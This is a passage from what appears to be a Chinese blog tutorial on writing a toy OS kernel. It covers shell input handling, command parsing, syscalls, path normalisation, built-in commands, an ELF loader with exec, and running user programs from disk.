结果如下,实现了一个简单的终端,还没有实现交互

添加ctrl+u和ctrl+l

Linux中ctrl+u作用是清除本次输入,相当于连续退格。ctrl+l相当于clear命令清屏,不过不会清除当前终端正在输入的内容。我们在shell中继续添加代码,其中ctrl+l分四步完成

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
/* 从键盘缓冲区中最多读入count个字节到buf。*/
static void readline(char* buf, int32_t count) {
[...]
/* ctrl+l 清屏 */
case 'l' - 'a':
/* 1 先将当前的字符'l'-'a'置为0 */
*pos = 0;
/* 2 再将屏幕清空 */
clear();
/* 3 打印提示符 */
print_prompt();
/* 4 将之前键入的内容再次打印 */
printf("%s", buf);
break;

/* ctrl+u 清掉输入 */
case 'u' - 'a':
while (buf != pos) { // 循环连续输入退格符
putchar('\b');
*(pos--) = 0;
}
break;

/* 非控制键则输出字符 */
default:
putchar(*pos);
pos++;
}
}
printf("readline: can`t find enter_key in the cmd_line, max num of char is 128\n");
}

解析键入字符

接下来我们需要读入shell中输入的字符,实现交互cmd_parse将解析出来的命令指针存如argv数组,然后通过循环进行下一步处理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
/* 分析字符串cmd_str中以token为分隔符的单词,将各单词的指针存入argv数组 */
static int32_t cmd_parse(char* cmd_str, char** argv, char token) {
assert(cmd_str != NULL);
int32_t arg_idx = 0;
while(arg_idx < MAX_ARG_NR) {
argv[arg_idx] = NULL;
arg_idx++;
}
char* next = cmd_str;
int32_t argc = 0;
/* 外层循环处理整个命令行 */
while(*next) {
/* 去除命令字或参数之间的空格 */
while(*next == token) {
next++;
}
/* 处理最后一个参数后接空格的情况,如"ls dir2 " */
if (*next == 0) {
break;
}
argv[argc] = next;

/* 内层循环处理命令行中的每个命令字及参数 */
while (*next && *next != token) { // 在字符串结束前找单词分隔符
next++;
}

/* 如果未结束(是token字符),使tocken变成0 */
if (*next) {
*next++ = 0;// 将token字符替换为字符串结束符0,做为一个单词的结束,并将字符指针next指向下一个字符
}

/* 避免argv数组访问越界,参数过多则返回0 */
if (argc > MAX_ARG_NR) {
return -1;
}
argc++;
}
return argc;
}

char* argv[MAX_ARG_NR]; // argv必须为全局变量,为了以后exec的程序可访问参数
int32_t argc = -1;
/* 简单的shell */
void my_shell(void) {
cwd_cache[0] = '/';
while (1) { // 循环处理命令
print_prompt();
memset(final_path, 0, MAX_PATH_LEN);
memset(cmd_line, 0, MAX_PATH_LEN);
readline(cmd_line, MAX_PATH_LEN);
if (cmd_line[0] == 0) { // 若只键入了一个回车
continue;
}
argc = -1;
argc = cmd_parse(cmd_line, argv, ' ');
if (argc == -1) {
printf("num of arguments exceed %d\n", MAX_ARG_NR);
continue;
}

int32_t arg_idx = 0;
while(arg_idx < argc) {
printf("%s ", argv[arg_idx]);
arg_idx++;
}
printf("\n");
}
panic("my_shell: should not be here");
}

下面测试一下,可以正常处理字符串

添加系统调用

下面添加一大堆系统调用,实现shell交互,首先添加系统调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#ifndef __LIB_USER_SYSCALL_H
#define __LIB_USER_SYSCALL_H
#include "stdint.h"
#include "fs.h"

enum SYSCALL_NR {
SYS_GETPID,
SYS_WRITE,
SYS_MALLOC,
SYS_FREE,
SYS_FORK,
SYS_READ,
SYS_PUTCHAR,
SYS_CLEAR,
SYS_GETCWD,
SYS_OPEN,
SYS_CLOSE,
SYS_LSEEK,
SYS_UNLINK,
SYS_MKDIR,
SYS_OPENDIR,
SYS_CLOSEDIR,
SYS_CHDIR,
SYS_RMDIR,
SYS_READDIR,
SYS_REWINDDIR,
SYS_STAT,
SYS_PS
};
uint32_t getpid(void);
uint32_t write(int32_t fd, const void* buf, uint32_t count);
void* malloc(uint32_t size);
void free(void* ptr);
int16_t fork(void);
int32_t read(int32_t fd, void* buf, uint32_t count);
void putchar(char char_asci);
void clear(void);
char* getcwd(char* buf, uint32_t size);
int32_t open(char* pathname, uint8_t flag);
int32_t close(int32_t fd);
int32_t lseek(int32_t fd, int32_t offset, uint8_t whence);
int32_t unlink(const char* pathname);
int32_t mkdir(const char* pathname);
struct dir* opendir(const char* name);
int32_t closedir(struct dir* dir);
int32_t rmdir(const char* pathname);
struct dir_entry* readdir(struct dir* dir);
void rewinddir(struct dir* dir);
int32_t stat(const char* path, struct stat* buf);
int32_t chdir(const char* path);
void ps(void);
#endif

然后增加系统调用实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
/* 获取当前工作目录 */
char* getcwd(char* buf, uint32_t size) {
return (char*)_syscall2(SYS_GETCWD, buf, size);
}

/* 以flag方式打开文件pathname */
int32_t open(char* pathname, uint8_t flag) {
return _syscall2(SYS_OPEN, pathname, flag);
}

/* 关闭文件fd */
int32_t close(int32_t fd) {
return _syscall1(SYS_CLOSE, fd);
}

/* 设置文件偏移量 */
int32_t lseek(int32_t fd, int32_t offset, uint8_t whence) {
return _syscall3(SYS_LSEEK, fd, offset, whence);
}

/* 删除文件pathname */
int32_t unlink(const char* pathname) {
return _syscall1(SYS_UNLINK, pathname);
}

/* 创建目录pathname */
int32_t mkdir(const char* pathname) {
return _syscall1(SYS_MKDIR, pathname);
}

/* 打开目录name */
struct dir* opendir(const char* name) {
return (struct dir*)_syscall1(SYS_OPENDIR, name);
}

/* 关闭目录dir */
int32_t closedir(struct dir* dir) {
return _syscall1(SYS_CLOSEDIR, dir);
}

/* 删除目录pathname */
int32_t rmdir(const char* pathname) {
return _syscall1(SYS_RMDIR, pathname);
}

/* 读取目录dir */
struct dir_entry* readdir(struct dir* dir) {
return (struct dir_entry*)_syscall1(SYS_READDIR, dir);
}

/* 回归目录指针 */
void rewinddir(struct dir* dir) {
_syscall1(SYS_REWINDDIR, dir);
}

/* 获取path属性到buf中 */
int32_t stat(const char* path, struct stat* buf) {
return _syscall2(SYS_STAT, path, buf);
}

/* 改变工作目录为path */
int32_t chdir(const char* path) {
return _syscall1(SYS_CHDIR, path);
}

/* 显示任务列表 */
void ps(void) {
_syscall0(SYS_PS);
}

然后在syscall_table中注册

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
/* 初始化系统调用 */
void syscall_init(void) {
put_str("syscall_init start\n");
syscall_table[SYS_GETPID] = sys_getpid;
syscall_table[SYS_WRITE] = sys_write;
syscall_table[SYS_MALLOC] = sys_malloc;
syscall_table[SYS_FREE] = sys_free;
syscall_table[SYS_FORK] = sys_fork;
syscall_table[SYS_READ] = sys_read;
syscall_table[SYS_PUTCHAR] = sys_putchar;
syscall_table[SYS_CLEAR] = cls_screen;
syscall_table[SYS_GETCWD] = sys_getcwd;
syscall_table[SYS_OPEN] = sys_open;
syscall_table[SYS_CLOSE] = sys_close;
syscall_table[SYS_LSEEK] = sys_lseek;
syscall_table[SYS_UNLINK] = sys_unlink;
syscall_table[SYS_MKDIR] = sys_mkdir;
syscall_table[SYS_OPENDIR] = sys_opendir;
syscall_table[SYS_CLOSEDIR] = sys_closedir;
syscall_table[SYS_CHDIR] = sys_chdir;
syscall_table[SYS_RMDIR] = sys_rmdir;
syscall_table[SYS_READDIR] = sys_readdir;
syscall_table[SYS_REWINDDIR] = sys_rewinddir;
syscall_table[SYS_STAT] = sys_stat;
syscall_table[SYS_PS] = sys_ps;
put_str("syscall_init done\n");
}

其中命令ps在thread中的实现核心sys_ps如下

1
2
3
4
5
6
/* 打印任务列表 */
void sys_ps(void) {
char* ps_title = "PID PPID STAT TICKS COMMAND\n";
sys_write(stdout_no, ps_title, strlen(ps_title));
list_traversal(&thread_all_list, elem2thread_info, 0);
}

路径解析

绝对路径是当前文件的全路径,相对路径是以当前工作路径为基础进行操作。要判断这两个路径最好的方法就是判断输入路径,若输入路径以根目录的”/“开头则认为是相对路径,路径解析主要把路径中的”..”和”.”替换成实际的目录,将用户键入的路径,无论是绝对路径还是相对路径,一律转换成不含”.”和”..”的绝对路径进行2操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
/* 将路径old_abs_path中的..和.转换为实际路径后存入new_abs_path */
static void wash_path(char* old_abs_path, char* new_abs_path) {
assert(old_abs_path[0] == '/');
char name[MAX_FILE_NAME_LEN] = {0};
char* sub_path = old_abs_path;
sub_path = path_parse(sub_path, name);
if (name[0] == 0) { // 若只键入了"/",直接将"/"存入new_abs_path后返回
new_abs_path[0] = '/';
new_abs_path[1] = 0;
return;
}
new_abs_path[0] = 0; // 避免传给new_abs_path的缓冲区不干净
strcat(new_abs_path, "/");
while (name[0]) {
/* 如果是上一级目录“..” */
if (!strcmp("..", name)) {
char* slash_ptr = strrchr(new_abs_path, '/');
/*如果未到new_abs_path中的顶层目录,就将最右边的'/'替换为0,
这样便去除了new_abs_path中最后一层路径,相当于到了上一级目录 */
if (slash_ptr != new_abs_path) {// 如new_abs_path为“/a/b”,".."之后则变为“/a”
*slash_ptr = 0;
} else { // 如new_abs_path为"/a",".."之后则变为"/"
/* 若new_abs_path中只有1个'/',即表示已经到了顶层目录,
就将下一个字符置为结束符0. */
*(slash_ptr + 1) = 0;
}
} else if (strcmp(".", name)) { // 如果路径不是‘.’,就将name拼接到new_abs_path
if (strcmp(new_abs_path, "/")) { // 如果new_abs_path不是"/",就拼接一个"/",此处的判断是为了避免路径开头变成这样"//"
strcat(new_abs_path, "/");
}
strcat(new_abs_path, name);
} // 若name为当前目录".",无须处理new_abs_path

/* 继续遍历下一层路径 */
memset(name, 0, MAX_FILE_NAME_LEN);
if (sub_path) {
sub_path = path_parse(sub_path, name);
}
}
}

/* 将path处理成不含..和.的绝对路径,存储在final_path */
void make_clear_abs_path(char* path, char* final_path) {
char abs_path[MAX_PATH_LEN] = {0};
/* 先判断是否输入的是绝对路径 */
if (path[0] != '/') { // 若输入的不是绝对路径,就拼接成绝对路径
memset(abs_path, 0, MAX_PATH_LEN);
if (getcwd(abs_path, MAX_PATH_LEN) != NULL) {
if (!((abs_path[0] == '/') && (abs_path[1] == 0))) { // 若abs_path表示的当前目录不是根目录/
strcat(abs_path, "/");
}
}
}
strcat(abs_path, path);
wash_path(abs_path, final_path);
}

上面的代码我们就先不测试了,待会一起进行测试,接下来我们继续完善ls,cd,mkdir,ps,rm等命令,我们采用内部函数的方法对其进行实现,遵循以下几点

  • 内部命令都以buildin_ + 命令名组合
  • 形参均为argc和argv,argc是参数数组argv中参数的个数
  • 函数实现是调用同功能的系统调用实现的
  • 系统调用前调用make_clear_abs_path将路径转换为绝对路径
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
/* pwd命令的内建函数 */
void buildin_pwd(uint32_t argc, char** argv UNUSED) {
if (argc != 1) {
printf("pwd: no argument support!\n");
return;
} else {
if (NULL != getcwd(final_path, MAX_PATH_LEN)) {
printf("%s\n", final_path);
} else {
printf("pwd: get current work directory failed.\n");
}
}
}

/* cd命令的内建函数 */
char* buildin_cd(uint32_t argc, char** argv) {
if (argc > 2) {
printf("cd: only support 1 argument!\n");
return NULL;
}

/* 若是只键入cd而无参数,直接返回到根目录. */
if (argc == 1) {
final_path[0] = '/';
final_path[1] = 0;
} else {
make_clear_abs_path(argv[1], final_path);
}

if (chdir(final_path) == -1) {
printf("cd: no such directory %s\n", final_path);
return NULL;
}
return final_path;
}

/* ls命令的内建函数 */
void buildin_ls(uint32_t argc, char** argv) {
char* pathname = NULL;
struct stat file_stat;
memset(&file_stat, 0, sizeof(struct stat));
bool long_info = false;
uint32_t arg_path_nr = 0;
uint32_t arg_idx = 1; // 跨过argv[0],argv[0]是字符串“ls”
while (arg_idx < argc) {
if (argv[arg_idx][0] == '-') { // 如果是选项,单词的首字符是-
if (!strcmp("-l", argv[arg_idx])) { // 如果是参数-l
long_info = true;
} else if (!strcmp("-h", argv[arg_idx])) { // 参数-h
printf("usage: -l list all infomation about the file.\n-h for help\nlist all files in the current dirctory if no option\n");
return;
} else {// 只支持-h -l两个选项
printf("ls: invalid option %s\nTry `ls -h' for more information.\n", argv[arg_idx]);
return;
}
} else { // ls的路径参数
if (arg_path_nr == 0) {
pathname = argv[arg_idx];
arg_path_nr = 1;
} else {
printf("ls: only support one path\n");
return;
}
}
arg_idx++;
}

if (pathname == NULL) { // 若只输入了ls 或 ls -l,没有输入操作路径,默认以当前路径的绝对路径为参数.
if (NULL != getcwd(final_path, MAX_PATH_LEN)) {
pathname = final_path;
} else {
printf("ls: getcwd for default path failed\n");
return;
}
} else {
make_clear_abs_path(pathname, final_path);
pathname = final_path;
}

if (stat(pathname, &file_stat) == -1) {
printf("ls: cannot access %s: No such file or directory\n", pathname);
return;
}
if (file_stat.st_filetype == FT_DIRECTORY) {
struct dir* dir = opendir(pathname);
struct dir_entry* dir_e = NULL;
char sub_pathname[MAX_PATH_LEN] = {0};
uint32_t pathname_len = strlen(pathname);
uint32_t last_char_idx = pathname_len - 1;
memcpy(sub_pathname, pathname, pathname_len);
if (sub_pathname[last_char_idx] != '/') {
sub_pathname[pathname_len] = '/';
pathname_len++;
}
rewinddir(dir);
if (long_info) {
char ftype;
printf("total: %d\n", file_stat.st_size);
while((dir_e = readdir(dir))) {
ftype = 'd';
if (dir_e->f_type == FT_REGULAR) {
ftype = '-';
}
sub_pathname[pathname_len] = 0;
strcat(sub_pathname, dir_e->filename);
memset(&file_stat, 0, sizeof(struct stat));
if (stat(sub_pathname, &file_stat) == -1) {
printf("ls: cannot access %s: No such file or directory\n", dir_e->filename);
return;
}
printf("%c %d %d %s\n", ftype, dir_e->i_no, file_stat.st_size, dir_e->filename);
}
} else {
while((dir_e = readdir(dir))) {
printf("%s ", dir_e->filename);
}
printf("\n");
}
closedir(dir);
} else {
if (long_info) {
printf("- %d %d %s\n", file_stat.st_ino, file_stat.st_size, pathname);
} else {
printf("%s\n", pathname);
}
}
}

/* ps命令内建函数 */
void buildin_ps(uint32_t argc, char** argv UNUSED) {
if (argc != 1) {
printf("ps: no argument support!\n");
return;
}
ps();
}

/* clear命令内建函数 */
void buildin_clear(uint32_t argc, char** argv UNUSED) {
if (argc != 1) {
printf("clear: no argument support!\n");
return;
}
clear();
}

/* mkdir命令内建函数 */
int32_t buildin_mkdir(uint32_t argc, char** argv) {
int32_t ret = -1;
if (argc != 2) {
printf("mkdir: only support 1 argument!\n");
} else {
make_clear_abs_path(argv[1], final_path);
/* 若创建的不是根目录 */
if (strcmp("/", final_path)) {
if (mkdir(final_path) == 0) {
ret = 0;
} else {
printf("mkdir: create directory %s failed.\n", argv[1]);
}
}
}
return ret;
}

/* rmdir命令内建函数 */
int32_t buildin_rmdir(uint32_t argc, char** argv) {
int32_t ret = -1;
if (argc != 2) {
printf("rmdir: only support 1 argument!\n");
} else {
make_clear_abs_path(argv[1], final_path);
/* 若删除的不是根目录 */
if (strcmp("/", final_path)) {
if (rmdir(final_path) == 0) {
ret = 0;
} else {
printf("rmdir: remove %s failed.\n", argv[1]);
}
}
}
return ret;
}

/* rm命令内建函数 */
int32_t buildin_rm(uint32_t argc, char** argv) {
int32_t ret = -1;
if (argc != 2) {
printf("rm: only support 1 argument!\n");
} else {
make_clear_abs_path(argv[1], final_path);
/* 若删除的不是根目录 */
if (strcmp("/", final_path)) {
if (unlink(final_path) == 0) {
ret = 0;
} else {
printf("rm: delete %s failed.\n", argv[1]);
}

}
}
return ret;
}

调用这些命令就需要修改shell文件,因为这个文件能够获取用户的输入,下面的argv[0]也就是用户输入的命令,通过memset进行比较

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
char* argv[MAX_ARG_NR];    // argv为全局变量,为了以后exec的程序可访问参数
int32_t argc = -1;
/* 简单的shell */
void my_shell(void) {
cwd_cache[0] = '/';
while (1) {
print_prompt();
memset(final_path, 0, MAX_PATH_LEN);
memset(cmd_line, 0, MAX_PATH_LEN);
readline(cmd_line, MAX_PATH_LEN);
if (cmd_line[0] == 0) { // 若只键入了一个回车
continue;
}
argc = -1;
argc = cmd_parse(cmd_line, argv, ' ');
if (argc == -1) {
printf("num of arguments exceed %d\n", MAX_ARG_NR);
continue;
}
if (!strcmp("ls", argv[0])) {
buildin_ls(argc, argv);
} else if (!strcmp("cd", argv[0])) {
if (buildin_cd(argc, argv) != NULL) {
memset(cwd_cache, 0, MAX_PATH_LEN);
strcpy(cwd_cache, final_path);
}
} else if (!strcmp("pwd", argv[0])) {
buildin_pwd(argc, argv);
} else if (!strcmp("ps", argv[0])) {
buildin_ps(argc, argv);
} else if (!strcmp("clear", argv[0])) {
buildin_clear(argc, argv);
} else if (!strcmp("mkdir", argv[0])){
buildin_mkdir(argc, argv);
} else if (!strcmp("rmdir", argv[0])){
buildin_rmdir(argc, argv);
} else if (!strcmp("rm", argv[0])) {
buildin_rm(argc, argv);
} else {
printf("external command\n");
}
}
panic("my_shell: should not be here");
}

下面测试一下

加载用户进程

接下来我们需要从硬盘上加载程序,实现exec,exec会把一个可执行文件的绝对路径作为参数,把当前正在运行的用户进程的进程体(代码段、数据段、堆、栈)用该可执行文件的进程体替换,从而实现了新进程的执行,新进程只会替换老进程,因此pid仍然是老进程的pid,之前的shell是通过if-else结构对用户输入进行处理,要添加系统调用就会很麻烦,但有了exec之后就可以完成任意外部命令(用户进程)的运行。下面是具体实现,首先添加elf相关结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
extern void intr_exit(void);
typedef uint32_t Elf32_Word, Elf32_Addr, Elf32_Off;
typedef uint16_t Elf32_Half;

/* 32位elf头 */
struct Elf32_Ehdr {
unsigned char e_ident[16];
Elf32_Half e_type;
Elf32_Half e_machine;
Elf32_Word e_version;
Elf32_Addr e_entry;
Elf32_Off e_phoff;
Elf32_Off e_shoff;
Elf32_Word e_flags;
Elf32_Half e_ehsize;
Elf32_Half e_phentsize;
Elf32_Half e_phnum;
Elf32_Half e_shentsize;
Elf32_Half e_shnum;
Elf32_Half e_shstrndx;
};

/* 程序头表Program header.就是段描述头 */
struct Elf32_Phdr {
Elf32_Word p_type; // 见下面的enum segment_type
Elf32_Off p_offset;
Elf32_Addr p_vaddr;
Elf32_Addr p_paddr;
Elf32_Word p_filesz;
Elf32_Word p_memsz;
Elf32_Word p_flags;
Elf32_Word p_align;
};

/* 段类型 */
enum segment_type {
PT_NULL, // 忽略
PT_LOAD, // 可加载程序段
PT_DYNAMIC, // 动态加载信息
PT_INTERP, // 动态加载器名称
PT_NOTE, // 一些辅助信息
PT_SHLIB, // 保留
PT_PHDR // 程序头表
};

先实现段加载到内存的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
/* 将文件描述符fd指向的文件中,偏移为offset,大小为filesz的段加载到虚拟地址为vaddr的内存 */
static bool segment_load(int32_t fd, uint32_t offset, uint32_t filesz, uint32_t vaddr) {
uint32_t vaddr_first_page = vaddr & 0xfffff000; // vaddr地址所在的页框
uint32_t size_in_first_page = PG_SIZE - (vaddr & 0x00000fff); // 加载到内存后,文件在第一个页框中占用的字节大小
uint32_t occupy_pages = 0;
/* 若一个页框容不下该段 */
if (filesz > size_in_first_page) {
uint32_t left_size = filesz - size_in_first_page;
occupy_pages = DIV_ROUND_UP(left_size, PG_SIZE) + 1; // 1是指vaddr_first_page
} else {
occupy_pages = 1;
}

/* 为进程分配内存 */
uint32_t page_idx = 0;
uint32_t vaddr_page = vaddr_first_page;
while (page_idx < occupy_pages) {
uint32_t* pde = pde_ptr(vaddr_page);
uint32_t* pte = pte_ptr(vaddr_page);

/* 如果pde不存在,或者pte不存在就分配内存.
* pde的判断要在pte之前,否则pde若不存在会导致
* 判断pte时缺页异常 */
if (!(*pde & 0x00000001) || !(*pte & 0x00000001)) {
if (get_a_page(PF_USER, vaddr_page) == NULL) {
return false;
}
} // 如果原进程的页表已经分配了,利用现有的物理页,直接覆盖进程体
vaddr_page += PG_SIZE;
page_idx++;
}
sys_lseek(fd, offset, SEEK_SET);
sys_read(fd, (void*)vaddr, filesz);
return true;
}

把段内存分配完之后就是加载进程到内存中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
/* 从文件系统上加载用户程序pathname,成功则返回程序的起始地址,否则返回-1 */
static int32_t load(const char* pathname) {
int32_t ret = -1;
struct Elf32_Ehdr elf_header;
struct Elf32_Phdr prog_header;
memset(&elf_header, 0, sizeof(struct Elf32_Ehdr));

int32_t fd = sys_open(pathname, O_RDONLY);
if (fd == -1) {
return -1;
}

if (sys_read(fd, &elf_header, sizeof(struct Elf32_Ehdr)) != sizeof(struct Elf32_Ehdr)) {
ret = -1;
goto done;
}

/* 校验elf头 */
if (memcmp(elf_header.e_ident, "\177ELF\1\1\1", 7) \
|| elf_header.e_type != 2 \
|| elf_header.e_machine != 3 \
|| elf_header.e_version != 1 \
|| elf_header.e_phnum > 1024 \
|| elf_header.e_phentsize != sizeof(struct Elf32_Phdr)) {
ret = -1;
goto done;
}

Elf32_Off prog_header_offset = elf_header.e_phoff;
Elf32_Half prog_header_size = elf_header.e_phentsize;

/* 遍历所有程序头 */
uint32_t prog_idx = 0;
while (prog_idx < elf_header.e_phnum) {
memset(&prog_header, 0, prog_header_size);

/* 将文件的指针定位到程序头 */
sys_lseek(fd, prog_header_offset, SEEK_SET);

/* 只获取程序头 */
if (sys_read(fd, &prog_header, prog_header_size) != prog_header_size) {
ret = -1;
goto done;
}

/* 如果是可加载段就调用segment_load加载到内存 */
if (PT_LOAD == prog_header.p_type) {
if (!segment_load(fd, prog_header.p_offset, prog_header.p_filesz, prog_header.p_vaddr)) {
ret = -1;
goto done;
}
}

/* 更新下一个程序头的偏移 */
prog_header_offset += elf_header.e_phentsize;
prog_idx++;
}
ret = elf_header.e_entry;
done:
sys_close(fd);
return ret;
}

最后就是sys_execv函数,用path指向的程序替换当前进程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
/* 用path指向的程序替换当前进程 */
int32_t sys_execv(const char* path, const char* argv[]) {
uint32_t argc = 0;
while (argv[argc]) { // 循环统计参数个数并放到argc中
argc++;
}
int32_t entry_point = load(path);
if (entry_point == -1) { // 若加载失败则返回-1
return -1;
}

struct task_struct* cur = running_thread();
/* 修改进程名 */
memcpy(cur->name, path, TASK_NAME_LEN);
cur->name[TASK_NAME_LEN-1] = 0;

struct intr_stack* intr_0_stack = (struct intr_stack*)((uint32_t)cur + PG_SIZE - sizeof(struct intr_stack));
/* 参数传递给用户进程 */
intr_0_stack->ebx = (int32_t)argv;
intr_0_stack->ecx = argc;
intr_0_stack->eip = (void*)entry_point;
/* 使新用户进程的栈地址为最高用户空间地址 */
intr_0_stack->esp = (void*)0xc0000000;

/* exec不同于fork,为使新进程更快被执行,直接从中断返回 */
asm volatile ("movl %0, %%esp; jmp intr_exit" : : "g" (intr_0_stack) : "memory");
return 0;
}

让shell支持外部命令

由于有系统调用exec,我们shell中就可以添加外部调用命令,Linux中执行命令是bash(或其他shell)先fork一个子进程,然后调用exec去执行命令。我们也效仿这种方式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
      [...]
} else { // 如果是外部命令,需要从磁盘上加载
int32_t pid = fork();
if (pid) { // 父进程
/* 下面这个while必须要加上,否则父进程一般情况下会比子进程先执行,
因此会进行下一轮循环将findl_path清空,这样子进程将无法从final_path中获得参数*/
while(1);
} else { // 子进程
make_clear_abs_path(argv[0], final_path);
argv[0] = final_path;
/* 先判断下文件是否存在 */
struct stat file_stat;
memset(&file_stat, 0, sizeof(struct stat));
if (stat(argv[0], &file_stat) == -1) {
printf("my_shell: cannot access %s: No such file or directory\n", argv[0]);
} else {
execv(argv[0], argv);
}
while(1);
}
}
int32_t arg_idx = 0;
while(arg_idx < MAX_ARG_NR) {
argv[arg_idx] = NULL;
arg_idx++;
}
}
panic("my_shell: should not be here");
}

加载硬盘上的用户程序执行

接下来我们需要实现让用户程序跑起来,有下面几步

  • 编写第一个真正的用户程序
  • 将用户程序写入文件系统
  • 在shell中执行用户程序,即外部命令

首先实现用户程序

1
2
3
4
5
6
#include "stdio.h"
int main(void) {
printf("prog_no_arg from disk\n");
while(1);
return 0;
}

然后编写编译脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
####  此脚本应该在command目录下执行

if [[ ! -d "../lib" || ! -d "../build" ]];then
echo "dependent dir don\`t exist!"
cwd=$(pwd)
cwd=${cwd##*/}
cwd=${cwd%/}
if [[ $cwd != "command" ]];then
echo -e "you\`d better in command dir\n"
fi
exit
fi

BIN="prog_no_arg"
CFLAGS="-m32 -fno-stack-protector -Wall -c -fno-builtin -W -Wstrict-prototypes \
-Wmissing-prototypes -Wsystem-headers"
LIB="../lib/"
OBJS="../build/string.o ../build/syscall.o \
../build/stdio.o ../build/assert.o"
DD_IN=$BIN
DD_OUT="/home/guang/soft/bochs-2.6.2/bin/hd60M.img"

gcc $CFLAGS -I $LIB -o $BIN".o" $BIN".c"
ld -m elf_i386 -e main $BIN".o" $OBJS -o $BIN
SEC_CNT=$(ls -l $BIN|awk '{printf("%d", ($5+511)/512)}')

if [[ -f $BIN ]];then
dd if=./$DD_IN of=$DD_OUT bs=512 \
count=$SEC_CNT seek=300 conv=notrunc
fi

########## 以上核心就是下面这三条命令 ##########
#gcc -m32 -fno-stack-protector -Wall -c -fno-builtin -W -Wstrict-prototypes -Wmissing-prototypes \
# -Wsystem-headers -I ../lib -o prog_no_arg.o prog_no_arg.c
#ld -m elf_i386 -e main prog_no_arg.o ../build/string.o ../build/syscall.o\
# ../build/stdio.o ../build/assert.o -o prog_no_arg
#dd if=prog_no_arg of=/home/guang/soft/bochs-2.6.2/bin/hd60M.img \
# bs=512 count=10 seek=300 conv=notrunc

最后在main中测试,加载用户程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
int main(void) {
put_str("Welcome to TJ's kernel\n");
init_all();

/************* 写入应用程序 *************/
uint32_t file_size = 4777;
uint32_t sec_cnt = DIV_ROUND_UP(file_size, 512);
struct disk* sda = &channels[0].devices[0];
void* prog_buf = sys_malloc(file_size);
ide_read(sda, 300, prog_buf, sec_cnt);
int32_t fd = sys_open("/prog_no_arg", O_CREAT|O_RDWR);
if (fd != -1) {
if(sys_write(fd, prog_buf, file_size) == -1) {
printk("file write error!\n");
while(1);
}
}
/************* 写入应用程序结束 *************/
cls_screen();
console_put_str("[rabbit@localhost /]$ ");
while(1);
return 0;
}

先编译kernel,在编译compile.sh,成功加载用户程序

支持参数的用户程序

下面我们需要增加参数,也就是多一个传参的过程,但是我们这里传的参数是来自用户程序的,这就要涉及到CRT相关知识点了,在main函数执行前有很多初始化工作,比如start之类的函数,其中很流行的一个框架就是C运行时库也就是CRT,由它来调用main函数并传递参数,如下图所示

我们要传递来自用户的参数,就需要自己实现一个简单的”CRT”,下面是一个很简单的例子,就是单纯传递main的参数

1
2
3
4
5
6
7
8
[bits 32]
extern main
section .text
global _start
;这两个要和exec中指定的寄存器一致
push ebx ;压入argv
push ecx ;压入argc
call main

然后我们测试程序prog_arg.c如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include "stdio.h"
#include "syscall.h"
#include "string.h"
int main(int argc, char** argv) {
int arg_idx = 0;
while(arg_idx < argc) {
printf("argv[%d] is %s\n", arg_idx, argv[arg_idx]);
arg_idx++;
}
int pid = fork();
if (pid) {
int delay = 900000;
while(delay--);
printf("\n I`m father prog, my pid:%d, I will show process list\n", getpid());
ps();
} else {
char abs_path[512] = {0};
printf("\n I`m child prog, my pid:%d, I will exec %s right now\n", getpid(), argv[1]);
if (argv[1][0] != '/') {
getcwd(abs_path, 512);
strcat(abs_path, "/");
strcat(abs_path, argv[1]);
